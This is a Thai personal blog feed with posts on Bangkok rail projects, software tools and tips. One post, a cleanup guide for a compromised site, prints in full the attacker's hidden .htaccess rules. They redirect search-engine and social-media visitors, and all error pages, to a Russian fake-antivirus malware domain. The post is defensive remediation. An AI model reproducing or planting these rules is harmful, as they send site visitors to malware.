นพ ภิญโญวาณิชกะ » นพ

“คมนาคม”ให้สนข.ศึกษาปรับรูปแบบรถไฟฟ้าสายสีชมพู-สีเหลืองใหม่

นพ — Wed, 05 Oct 2011 06:31:32 +0000

“รมว.คมนาคม” สั่ง สนข.ศึกษาปรับรูปแบบรถไฟฟ้าสายสีชมพู-สีเหลืองใหม่ จากโมโนเรลป็นเฮฟวี่เรลให้แล้วเสร็จภายใน 6 เดือน พร้อมยืนยันรถไฟฟ้า10 สายสามารถเซ็นสัญญาภายใน 4 ปี…

เมื่อวันที่ 5 ต.ค. พล.อ.อ.สุกำพล สุวรรณทัต รัฐมนตรีว่าการกระทรวงคมนาคม เปิดเผยภายหลังเป็นประธานการประชุมแผนแม่บทการขนส่งทางรถไฟทั่วประเทศว่า ตนได้ให้นโยบายกับสำนักนโยบายและแผนการขนส่งและจราจร(สนข.)ให้ไปศึกษาและปรับแผนในการดำเนินการโครงการก่อสร้างรถไฟฟ้าสายสีชมพู เส้นทางแคราย-มีนบุรี ระยะทางกว่า 36 กม. และโครงการก่อสร้างรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรง ระยะทาง 30.4 กม.ใหม่ จากเดิมที่มีรูปแบบรถไฟฟ้ารางเดี่ยว หรือ รถไฟฟ้าขนาดเบา โมโนเรล มาเป็นรถไฟฟ้าขนาดหนัก หรือเฮฟวี่เรล (รถไฟฟ้าในปัจจุบัน) ว่าจะสามารถดำเนินการได้หรือไม่ โดยให้ สนข.ไปศึกษาให้ได้ข้อสรุปภายใน 6 เดือน ทั้งเรื่องงบประมาณที่จะเพิ่มขึ้น ผลกระทบทางด้านสิ่งแวดล้อมด้วย

รมว.คมนาคม กล่าวต่อว่า สาเหตุที่ต้องปรับรูปแบบการก่อสร้างจากโมโนเรลมาเป็นเฮฟวี่เรล เนื่องจากมองว่าในเส้นทางถนนแคราย-มีนบุรี และเส้นทางลาดพร้าว-สำโรงนั้น มีปริมาณประชาชนที่จะเดินทางสัญจรจำนวนมาก และเมื่อจะมีการก่อสร้างควรให้มีความคุ้มค่าต่อการลงทุน นอกจากนั้นในการศึกษา โดยเฉพาะรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรงนั้น หากมีการเปลี่ยนรูปแบบแล้วการก่อสร้างจะเป็นใต้ดินหรือยกระดับบนดิน รูปแบบไหนจะเหมาะมากกว่ากัน

พล.อ.อ.สุกำพล กล่าวว่า การดำเนินการก่อสร้างในโครงการรถไฟฟ้า จำนวน 10 สายทาง ระยะทางรวมกว่า 464 กม.นั้น จะต้องมีการดำเนินการและลงนามในสัญญาก่อสร้างภายในระยะเวลา 4 ปี หลังจากนี้แน่นอน ส่วนการดำเนินการหลังจากนี้เส้นทางรถไฟฟ้าที่มีความจำเป็นเร่งด่วนที่จะดำเนินการเป็นลำดับต้นๆ คือ รถไฟฟ้าสายสีเขียวเข้ม เส้นทางแบริ่ง-สมุทรปราการ, รถไฟฟ้าสายสีเขียวอ่อน เส้นทางหมอชิต-สะพานใหม่ และหลังจากนั้นจะเป็นรถไฟฟ้าสายสีชมพูและสีเหลืองเป็นลำดับต่อไป

รมว.คมนาคม กล่าวอีกว่า การดำเนินโครงการรถไฟทางคู่ระยะแรก ระหว่างปี 2553-2557 ระยะทางรวม 767 กม. ซึ่งเป็นการก่อสร้างรางรถไฟขนาด 1 เมตร โดยสร้างรางคู่กับรางเดิมที่มีอยู่ คงให้ดำเนินการก่อสร้างต่อไป โดยปัจจุบันความคืบหน้าโครงการแล้วประมาณ 10% ส่วนโครงการระยะที่ 2 และ 3 ซึ่งจะเริ่มตั้งแต่ปี 2558 นั้น จะให้ก่อสร้างเป็นรถไฟทางคู่ขนาดรางมาตรฐาน 1.435 เมตรแทน เนื่องจากรางขนาดมาตรฐานจะสามารถรองรับได้ทั้งระบบรถไฟดีเซลสำหรับขนส่ง สินค้า และระบบรถไฟฟ้าความเร็วสูงสำหรับขนส่งผู้โดยสาร ซึ่งจะช่วยประหยัดงบประมาณ รวมทั้งยังช่วยรองรับการเชื่อมต่อเส้นทางรถไฟจากประเทศเพื่อนบ้าน โดยมอบหมายให้สำนักงานนโยบายและการขนส่งและจราจร (สนข.) ไปศึกษาความเป็นไปได้และให้สรุปภายใน 1 เดือน

สำหรับโครงการรถไฟทางคู่ระยะแรก ประกอบด้วย 5 โครงการ ได้แก่ 1.เส้นทางลพบุรี-นครสวรรค์-ปากน้ำโพ ระยะทาง 118 กม. 2.เส้นทางมาบกะเบา-ชุมทางถนนจิระ ระยะทาง 132 กม. 3.เส้นทางชุมทางถนนจิริ-ขอนแก่น ระยะทาง 185 กม. 4.เส้นทางนครปฐม-หัวหิน ระยะทาง 165 กม. และ 5.เส้นทางประจวบคีรีขันธ์-ชุมพร ระยะทาง 167 กม. ส่วนโครงการรถไฟทางคู่ระยะที่ 2 และ 3 รวมระยะทาง 2,272 กม. เช่น เส้นทางแก่งคอย-บัวใหญ่ ระยะทาง 220 กม. เส้นทางชุมทางถนนจิระ-อุบลราชธานี ระยะทาง 309 กม. เส้นทางปากน้ำโพ-ตะพานหิน ระยะทาง 69 กม. เส้นทางขอนแก่น-หนองคาย ระยะทาง 172 กม. เส้นทางหัวหิน-ประจวบคีรีขันธ์ ระยะทาง 89 กม. เส้นทางชุมพร-สุราษฎร์ธานี ระยะทาง 166 กม. เส้นทางตะพานหิน-เชียงใหม่ ระยะทาง 427 กม. เส้นทางสุราษฎร์ธานี-ปาดังเบซาร์ ระยะทาง 339 กม. เส้นทางคลองสิบเก้า-กบินทร์บุรี ระยะทาง 76 กม.

ข่าวจาก ไทยรัฐ

WordPress Plugin สำหรับ website Stats.in.th

นพ — Fri, 19 Aug 2011 02:38:47 +0000

เว็บไซท์เก็บสถิติการเข้าชมเว็บไซท์ของเรามีอยู่หลายเว็บ แต่สำหรับผมแล้ว stats.in.th เป็นเว็บที่ค่อนข้างเสถียรและฟรี การใส่ code ลงในหน้า html เพื่อเก็บ stats ก็ไม่ยากอะไร แต่ถ้าเราต้องทำ template เพื่อใช้ในหลายๆ website แล้วต้องมาเพิ่มโค้ดเองด้วยมือ คงจะเหนื่อยไม่เบา แต่ถ้ามี plugin มาช่วยจัดการตรงนี้ก็จะดี หาแล้วก็ยังไม่มีใครเขียน เลยเขียน Plugin ขึ้นมาตัวนึง สำหรับ stats.in.th โดยเฉพาะ ลองโหลดไปใช้กันดูครับ

วิธีติดตั้ง

Upload Folder stats-in-th ไปที่ /wp-content/plugins/
Activate plugin โดยไปที่ Plugins เมนูของ WordPress ก็จะมี เมนู Stats.in.th เพิ่มขึ้นใน Settings ของ WordPress
เข้าไปที่ เมนู Stats.in.th เพิ่มขึ้นใน Settings เพื่อระบุค่า UID ของ stats.in.th สำหรับ UID ของ Stats.in.th ดูได้จากใน Code ที่ทาง Stats.in.th ให้มาครับ ตรง uid=xxxx
สำหรับการแสดงผล ให้แปะ code นี้ในส่วนของ template ส่วนไหนก็ได้ที่จะแสดง icon ของ stats.in.th
```
 
```

Screenshot

Version 1.0

version นี้ยังไม่แสดง code stats แบบอัตโนมัตินะครับ เลยต้องแก้ template กันก่อน version ถัดไป จะเพิ่มให้ครับ

Download

ดาวน์โหลด Plugin WordPress Stats-in-th

คมนาคมเร่งเครื่องลุยรถไฟฟ้า สายสีชมพู/สีส้มจ่อคิวเข้าครม.

นพ — Tue, 19 Jul 2011 02:08:47 +0000

กระทรวงหูกวางฟิตจัด เตรียมโครงการรถไฟฟ้าสารพัดสีเสนอครม.ยิ่งลักษณ์1 สุพจน์ชี้ค่าก่อสร้างรถไฟฟ้าสีชมพู/สีส้มส่อแววพุ่ง เผยวงเงินลงทุนรถไฟฟ้า 12 สาย ในแผนแม่บท 811,070 ล้านบาท

แม้ว่ารัฐบาล “ยิ่งลักษณ์ ชินวัตร” จะยังจัดโผคณะรัฐมนตรีไม่แล้วเสร็จ และยังไม่รู้ว่าใครจะมีนั่งเก้าอี้กระทรวงเกรดเอ อย่างกระทรวงคมนาคม แต่สุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม ยังเดินหน้าที่จะนำแผนลงทุนโครงการรถไฟฟ้าทั้ง 12 สาย เสนอต่อรัฐมนตรีว่าการกระทรวงคมนาคมคนใหม่ เพื่อนำเรื่องเข้าที่ประชุมคณะรัฐมนตรี(ครม.) เพื่อให้สามารถลงทุนก่อสร้างได้ตามแผนเดิม

ทั้งนี้ ตามแผนแม่บทของกระทรวงกำหนดว่าจะก่อสร้างโครงการรถไฟฟ้ารวม 12 เส้นทาง ในช่วงปี 2553-2572 ส่วนการที่พรรคเพื่อไทย ซึ่งเป็นแกนนำรัฐบาลมีนโยบายก่อสร้างโครงการรถไฟฟ้ารวม 10 เส้นทางนั้น จะต้องดูรายละเอียดเส้นทางต่างๆ ว่าเป็นเส้นทางใหม่หรือไม่ แต่โครงการเหล่านี้สามารถปรับแนวสายทางให้สอดคล้องกันได้

ทั้งวงเงินลงทุนรถไฟฟ้า 12 สาย ในแผนแม่บทจำนวน 811,070 ล้านบาท มีระยะเวลาดำเนินโครงการ 20 ปี (2553-2572) และใช้เงินกู้เป็นส่วนใหญ่ โดยเฉลี่ยใช้ปีละประมาณ 40,000 ล้านบาท จึงไม่น่าจะกระทบต่อนโยบายทางการเงินการคลัง

ค่าก่อสร้างพุ่ง

สุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม เปิดเผยว่า กระทรวงคมนาคมจะเสนอรายละเอียดโครงการก่อสร้างรถไฟฟ้าสายสีชมพู ช่วงแคราย-ปากเกร็ด-มีนบุรี ระยะทาง 36 กม. วงเงิน 42,067 ล้านบาท และสายสีส้มช่วงตลิ่งชัน-ศูนย์วัฒนธรรม-บางกะปิ-มีนบุรี ระยะทาง 37.5 กม. วงเงิน 137,750 ล้านบาท ให้ครม.พิจารณาอนุมัติ ปัจจุบันที่ปรึกษาอยู่ระหว่างการออกแบบรายละเอียด และเตรียมเอกสารประกวดราคา ซึ่งต้องประเมินวงเงินค่าก่อสร้างทั้งสองโครงการใหม่ เพราะราคาวัสดุก่อสร้างในปัจจุบันแตกต่างจากในช่วงที่ประเมินค่าก่อสร้างเบื้องต้น

โครงการรถไฟฟ้าทั้งสองเส้นทางจะอยู่ในความรับผิดชอบของการรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) โดยสายสีชมพูจะให้ผู้รับเหมารับผิดชอบงานก่อสร้างโครงสร้างพื้นฐาน และการจัดหาขบวนรถ ซึ่งโครงการนี้มีรูปแบบเป็นรถไฟฟ้ารางเดี่ยว โครงสร้างยกระดับตลอดสายทาง มี 24 สถานี สามารถดำเนินการได้ในปี 2555 หลังจากพิจารณาแล้วเห็นว่ารถไฟฟ้าในเส้นทางดังกล่าวมีความพร้อมในการดำเนินการ เนื่องจากผ่านการศึกษาผลกระทบสิ่งแวดล้อมแล้ว กำหนดเปิดให้บริการปี 2559 คาดว่าจะมีผู้ใช้บริการเฉลี่ยวันละ 2.18 แสนเที่ยว ซึ่งจะช่วยแก้ปัญหาการจราจรบนถนนแจ้งวัฒนะ และเชื่อมโยงการเดินทางระหว่างพื้นที่ฝั่งตะวันออกและตะวันออกเฉียงเหนือของกรุงเทพฯและปริมณฑล

ส่วนสายสีส้มจะเป็นโครงสร้างใต้ดิน 26.5 กม. และโครงสร้างยกระดับ 11 กม. มี 29 สถานี เป็นสถานีใต้ดิน 21 สถานี และสถานียกระดับ 8 สถานี คาดว่าเส้นทางช่วงศูนย์วัฒนธรรมบางกะปิ จะเปิดบริการในปี 2560 ช่วงบางกะปิ-มีนบุรี จะเปิดให้บริการในปี 2561 และช่วงตลิ่งชัน-ศูนย์วัฒนธรรม จะเปิดให้บริการในปี 2562 คาดว่าจะมีผู้ใช้บริการเฉลี่ยวันละ 5.43 แสนเที่ยว สามารถรองรับการเดินทางเข้าสู่ใจกลางเมือง รวมทั้งช่วยแก้ปัญหาการจราจรบนถนนรามคำแหงและลาดพร้าวได้ดี

สำหรับรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-บางกะปิสำโรง คาดว่าจะดำเนินการได้ในปี 2556 ส่วนรถไฟฟ้าสายสีเทา วัชรพล-ลาดพร้าวพระราม 4-สะพานพระราม 9 และรถไฟฟ้าสายสีฟ้า ดินแดง-สาทร เป็นเส้นทางใหม่ที่จะช่วยให้การจราจรกรุงเทพฯและปริมณฑลมีความคล่องตัวมากยิ่งขึ้น จะเร่งเดินหน้าให้สามารถก่อสร้างได้โดยเร็วที่สุด

ด้านสร้อยทิพย์ ไตรสุทธิ์ ผู้อำนวยการสำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.) กล่าวว่า สนข.ได้เสนอรายละเอียดการดำเนินโครงการรถไฟฟ้าสายสีเหลืองให้พิจารณาแล้ว คาดว่าจะสามารถนำเข้าสู่การพิจารณาของ ครม.ชุดใหม่ได้ทันทีเมื่อเริ่มมีการประชุม

ส่วนแผนการพัฒนาด้านรถไฟนั้น 2 ปีที่ผ่านมากระทรวงคมนาคมได้ดำเนินโครงการซึ่งเป็นภารกิจหลักโดยเน้นเรื่องความปลอดภัย ซึ่งสามารถลดจำนวนการเกิดอุบัติเหตุที่เกิดบนทางหลวงลงได้ 30% นอกจากนี้ ในส่วนของการพัฒนาระบบโลจิสติกส์ มีเป้าหมายเพื่อลดต้นทุนการขนส่งสินค้าลงจากปัจจุบัน 18% โดยเปลี่ยนโหมดการขนส่งจากถนนซึ่งมีถึง 80% ไปสู่รถไฟให้มากขึ้น รวมถึงลดค่าใช้จ่ายในการเดินทางของประชาชน โดยการรถไฟแห่งประเทศไทย (ร.ฟ.ท.) ได้รับอนุมัติกรอบวงเงินในการพัฒนาโครงสร้างพื้นฐานทางรางรวม 1.7 แสนล้านบาท ซึ่งจะดำเนินการแล้วเสร็จในปี 2557ดังนั้น โครงการรถไฟทางคู่ จึงมีเงินลงทุนและพร้อมดำเนินการได้ ส่วนโครงการรถไฟความเร็วสูงสามารถเข้าสู่ขั้นตอนการเจรจาต่อเนื่องได้

ส่วนงบประมาณประจำปี 2555 นั้น สุพจน์กล่าวว่า จะมีการปรับปรุงอีกครั้งหลังจากรัฐบาลแถลงนโยบายต่อรัฐสภา เพื่อดูว่ามีนโยบายที่เกี่ยวข้องกับกระทรวงคมนาคมอย่างไร ส่วนจะได้รับการจัดสรรเพิ่มขึ้นหรือไม่นั้น อยู่ที่รัฐบาลซึ่งคิดว่า รัฐบาลนี้อาจจะมีความสามารถในการหาเงินได้มากขึ้นก็ได้โดยก่อนหน้านี้ กระทรวงคมนาคมได้จัดทำงบประมาณรายจ่ายประจำปี 2555 ไว้รวม 235,387 ล้านบาท เพิ่มขึ้นจากปีก่อน126,316 ล้านบาท หรือเพิ่มขึ้น 115.81% แบ่งเป็นงบประมาณของส่วนราชการ 159,800 ล้านบาท และรัฐวิสาหกิจ 75,586 ล้านบาทโดยหน่วยงานที่เสนอขอรับจัดสรรงบประมาณสูงสุด คือ กรมทางหลวง จำนวน 93,130 ล้านบาท เพิ่มขึ้นจากปีก่อน 46,130 ล้านบาท หรือเพิ่มขึ้น 98.15

ที่มาจาก ผู้จัดการรายสัปดาห์

อ่าน Process ของ Windows ไม่รู้เรื่อง TaskSTRun ช่วยคุณได้

นพ — Thu, 23 Jun 2011 05:37:39 +0000

เวลาเรามีปัญหาเช่นอาจจะโดน Virus หรือ Process ที่ทำงานขันแข็งเกินไปจนไปกิน CPU เอย RAM เอย จนหมดเนื้อหมดตัว เราก็มักจะเข้าไปเรียกดู Windows Task Manager เข้าไปดูที่ Process ซึ่งจริงๆ แล้วดูแทบจะไม่รู้เรื่องเลย ถ้าชื่อไม่คุ้่นจริงๆ ก็ไม่รู้หรอกครับ ว่ามัน Process นั้นเป็นของ Application อะไร

ดังภาพ…

แนะนำโปรแกรมนี้เลยครับ TaskSTRun โปรแกรมเล็กๆ ง่ายๆ แต่ตอบโจทย์ตามที่ต้องการอย่างตรงใจ ^^

โปรแกรมจะบอกเป็นรูปแผนภูมิต้นไม้ ว่าโปรแกรมไหนเป็นลูกของโปรแกรมอะไร แล้ว Run จากที่ Path ไหน เจิดมากครับ

ลองโหลดไปใช้งานดูครับ

Download โปรแกรม TaskSTRun

การแก้ปัญหาเบื้องต้นจากการโดน Redirect ไปที่ http://seishell-inoa.ru/wings/index.php

นพ — Thu, 16 Jun 2011 04:17:36 +0000

การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php

หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว
สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย
โดยมีสรุป เป็นปีๆ ได้ดังนี้
http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html
และอันนี้เป็นอันรวมว่ามีรูรั่วตรงไหนบ้าง
http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html

ทั้งหมดจะเป็นประเภท XSS หมดเลยครับ

วิธีการแก้ปัญหา
ก่อนทำอะไร Backup DB ไว้ก่อนดีที่สุดครับ

1. จัดการตัวการเจ้าปัญหาเสียก่อน โดยทำการลบ phpMyAdmin version ที่รั่วทิ้ง จากนั้นไป Load Version ใหม่ ได้ที่ http://www.phpmyadmin.net/home_page/index.php

2. ให้ทำการตรวจสอบข้อมูลใน Table เราก่อนว่ามี Script ที่เกิดจากการใช้ SQL Injection อะไรหรือเปล่า โดยหลักจะผมจะ Search หาคำว่า , script , java , void ด้วย Keyword เหล่านี้ แต่หาจากทุก Table ใน ทุกๆ Field ใน Database นั้นๆ (มีเครื่องมือที่ http://anywhereindb.googlecode.com เป็นไฟล์ php หรือจะใช้ ค้นหา ใน phpmyadmin ก็ได้ครับ) เมื่อเจอ Code Java ประหลาด ๆ (ที่ไม่ได้เกิดจากที่ App เราเขียนนะครับ) ก็ลบออก
(ใน Case ของผมมี 2 – 3 จุดครับ แต่ก็ยังไม่หาย ยังคง Redirect ต่อเนื่อง – -” คิดว่างานมาละ )

3. สำหรับ Case ที่ Redirect ไปหน้า http://seishell-inoa.ru/wings/index.php จะเกิดจากการโดนแก้ไข File .htaccess ที่ root Directory ของ Website ของเราโดยจะโดนแก้ไขให้เป็นดังนี้ครับ

RewriteEngine On
ErrorDocument 400 http://seishell-inoa.ru/wings/index.php
ErrorDocument 401 http://seishell-inoa.ru/wings/index.php
ErrorDocument 403 http://seishell-inoa.ru/wings/index.php
ErrorDocument 404 http://seishell-inoa.ru/wings/index.php
ErrorDocument 500 http://seishell-inoa.ru/wings/index.php
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://seishell-inoa.ru/wings/index.php [R=301,L]

ถ้าเปิดแล้วไม่เจอ ลองเลื่อน Scrollbar ดูทั้ง ด้านข้างและด้านล่างนะครับ เพราะการเขียน Code พวกนี้จะทิ้ง Space ไว้ เพื่อให้เราเปิดไม่เจอด้วย

จาก .htaccess เราจะพบว่า ผู้ใช้คนไหนก็แล้วแต่ที่มาจาก Search engine ต่างๆ หรือ Social Network เข้ามาปุ๊ปให้ Redirect ไปที่ http://seishell-inoa.ru/wings/index.php แบบ 301 (moved to a new location, permanently) และ หน้า Error ที่เกิดขึ้นใน Web ของเราก็ให้ Redirect ไปเช่นกัน
เมื่อเห็นดังนี้แล้วก็ให้ลบ Rewrite Condition ด้านบนทิ้งแล้วก็ Save Upload เก็บไว้ที่เดิมครับ

อันนี้เป็นการแก้ไขปัญหาเบื้องต้นก่อน เพราะว่า ผมยังไม่รู้ว่า ที่มันรั่วมันรั่วมาจาก phpMyAdmin หรือเปล่า ถ้ามี Update จะมาเล่าสุ่กันฟังต่อไปครับ

การทำให้ Windows Explorer มองเห็น Thumbnail File .psd และ .ai ของ Photoshop CS4 และ Illustrator CS4

นพ — Tue, 31 May 2011 09:17:55 +0000

เรื่องของเรื่องหลังจากลง Adobe CS4 ไปแล้ว icon ที่เป็น .ai และ .psd กลับกลายเป็นรูป icon ของ photoshop และ illustrator ไปหมด ถ้าตั้งชื่อไม่สื่อก็จะทำให้ต้องเปิดดูทุกไฟล์เลยว่า ใช่ไฟล์ที่เราต้องการหรือเปล่า

การแก้ปัญหาสำหรับ Adobe CS1 และ Adobe CS2

Download ไฟล์แก้ปัญหา Thumbnail ของ Photoshop และ Illustrator

สำหรับ Adobe CS1 และ CS2 สามารถ Download ไฟล์ แล้วแตกไฟล์ไปที่
C:\Program Files\Common Files\Adobe\Shell
แล้ว Click Run ที่ไฟล์ AdobeFix.reg เท่านั้นทั้งไฟล์ .psd และ .ai ก็จะมีเห็นเป็น Thumbnail แล้วครับ

การแก้ปัญหาสำหรับ Adobe CS3 และ Adobe CS4

แต่สำหรับ กรณี CS3 และ CS4 นั้นทุกครั้งที่เปิด Illustrator และ Photoshop โปรแกรมจะไปลบ Key ใน Registry เพื่อแสดง Thumbnail ออกเนื่องจาก อยากให้ไปใช้ Adobe Bridge แทน

วิธีแก้ปัญหาค่อนข้างซับซ้อนและเสี่ยงต่อความเสียหายของ Registry ก่อนทำกรุณา Backup Register เสียก่อน ไม่งั้นอาจจะทำให้เปิด Windows ไม่ขึ้นได้นะครับ
ก่อนอื่นให้เข้าไปที่ regedit ก่อน (เข้าไปที่ run แล้วพิมพ์ regedit)
เข้าไปตามนี้ครับ

HKEY_CLASSES_ROOT\CLSID\{0C5B0CED-206B-4c39-B615-0EB23C824612}\InProcServer32
ถ้าจะให้ง่ายเข้ามาหน่อย ก็ Search หา

0C5B0CED-206B-4c39-B615-0EB23C824612

ที่มี Sub เป็น InProcServer32 ถ้าหาไม่เจอ ห้าทำต่อนะครับ
จากนั้นคลิกขวาที่ Key InProcServer32 ดังภาพ

คลิกเลือกที่ Permission จะพบหน้าจัดการ Permission ในตรงนี้โดยทั่วไป จะมีแค่ Everyone เท่านั้นครับ ให้คลิกที่ปุ่ม Advanced

จะเจอหน้าต่างจัดการ Permission ให้คลิกปุ่ม Add

จะเป็นหน้าต่างในการเลือก User ให้คลิกที่ Advanced อีกครั้ง

ให้คลิกปุ่ม Find Now จากนั้นให้เลือกชื่อ User ที่เรา Login เข้าใช้งานอยู่ โดยตัวอย่างของผมเป็น Administrator เมื่อเลือกแล้วกด OK

จะมีหน้าต่างกำหนดสิทธิการแก้ไข ให้ดูว่า Apply Onto ต้องเป็นเฉพาะ This key and Subkey และ คลิก Delete เป็น Deny แล้วก็กด Ok

เมื่อเสร็จขั้นตอนแล้ว Illustrator ก็จะไม่สามารถลบ Registry ที่เราเพิ่มเข้าไปได้แล้วครับ

สำหรับ Photoshop มีโปรแกรมที่แสนง่าย Install แล้ว Thumbnail ขึ้นเลย ชื่อว่า Mysticthumbs ไม่ต้อง Set อะไรวุ่นวายง่ายมากลอง
โหลดไปใช้ดูได้เลยครับ

Download โปรแกรม Mysticthumbs

ขอบคุณข้อมูลจาก web
http://blogs.sitepoint.com/adobe-cs3-and-the-case-of-the-disappearing-thumbnails-the-sequel/

ฮิตาชิ สนลุยรถไฟฟ้าสายสีชมพูมั่นใจเชี่ยวชาญระบบ โมโนเรล

นพ — Wed, 20 Apr 2011 01:35:47 +0000

นายสุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม และประธานคณะกรรมการ (บอร์ด)การรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย(รฟม.) เปิดเผยว่า เมื่อวันที่ 19 เมษายนที่ผ่านมานายฮิโรอากิ นาคานิชิ ประธาน บริษัท ฮิตาชิจำกัด จากประเทศญี่ปุ่น เดินทางเข้าพบ แสดงความสนใจเข้าร่วมลงทุนในโครงการรถไฟฟ้าสายสีชมพู ช่วงแคราย-มีนบุรี มูลค่าประมาณ 4.2 หมื่นล้านบาท หลังเห็นว่าโครงการดังกล่าวเป็นระบบรถไฟฟ้ารางเดี่ยว หรือโมโนเรล ฮิตาชิมีความเชี่ยวชาญทางด้านเทคโนโลยีการก่อสร้างอยู่แล้ว ขั้นตอนหลังจากนี้ฮิตาชิจะกลับไปจัดทำข้อเสนอ เพื่อเตรียมเข้าร่วมประกวดราคาด้วย

ความคืบหน้าโครงการ รฟม.อยู่ระหว่างคัดเลือกที่ปรึกษาศึกษาทบทวนความเหมาะสมปรับปรุงแบบ ที่ผ่านมามีเอกชนยื่นข้อเสนอรายเดียว คือ บริษัท ทีม คอน ซัลติ้ง เอ็นจิเนียริ่งแอนด์ แมเนจเมนท์ จำกัด มีบริษัทในกลุ่มประกอบด้วย บริษัท ทีม โลจิสติกส์ แอนด์ทรานสปอร์ต จำกัด บริษัท ซี คอนซัลท์ เอ็นจิเนียริ่ง จำกัด บริษัท วิศวกรที่ปรึกษา นิวโมเดิลจำกัด และโต นิชิ เอ็นจิเนียริ่ง คอนซัลแทนท์จากทั้งหมด 11 รายที่มารับเอกสาร คาดว่าภายในเดือนเมษายนนี้จะได้ข้อสรุป

รายงานข่าวแจ้งว่า โครงการดังกล่าว มีระยะทาง 34.5 กิโลเมตร มี 24 สถานี เบื้องต้นจะเริ่มก่อสร้างปลายปี 2555 และจะเปิดให้บริการปลายปี 2559

ข่าวจาก http://its.in.th/index.php/component/content/article/1-latest-news/6927-2011-04-19-22-44-08

การตั้งสาย Ukulele

นพ — Tue, 12 Apr 2011 07:18:28 +0000

โปรแกรมตั้งสาย ukulele ครับ

ข้อมูลจาก http://www.get-tuned.com/online_ukulele_tuner.php

การ Replace Comma ด้วย การขึ้นบรรทัดใหม่ ใน Microsoft Word

นพ — Tue, 08 Mar 2011 15:41:31 +0000

บางครั้งเราได้เมลที่มันติดๆ กันมีแต่ Comma แยกมาให้ อย่างเช่น a@hot.com , b@hotmail.com , c@drama.com อะไรอย่างนี้แต่อยากให้มันกลายเป็น Row ซะด้วยการขึ้นบรรทัดใหม่ให้มัน ทำได้ง่ายๆ ครับเพียงแค่ Replace “‘” ด้วย “^l” (ตัว L เล็กนะครับ ถ้ากลัวพิมพ์ผิดก็ Copy เอาเลยก็ได้ครับ)

ญี่ปุ่นล็อบบี้ขอลงทุนรถไฟฟ้าสนใจสายสีชมพูพ่วง ไฮสปีดเทรน

นพ — Sun, 13 Feb 2011 03:09:19 +0000

นายสุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม เปิดเผยว่า เมื่อเร็วๆนี้ นายมาซาโตะ โอตาดะ อัครราชทูต สถานเอกอัครราชทูตญี่ปุ่นประจำประเทศไทย และคณะ ได้หารือถึงความร่วมมือในโครงการก่อสร้างรถไฟฟ้าความเร็วสูง(ไฮ สปีด เทรน)ของไทย โดยสนใจเข้ามาลงทุนเส้นทางกรุงเทพฯ-เชียงใหม่ กับเส้นทางกรุงเทพฯ-ระยอง ในเบื้องต้นทางญี่ปุ่นจะส่งเจ้าหน้าที่กระทรวงว่าด้วยการก่อสร้างและขนส่ง มาศึกษาข้อมูลก่อนลงทุน

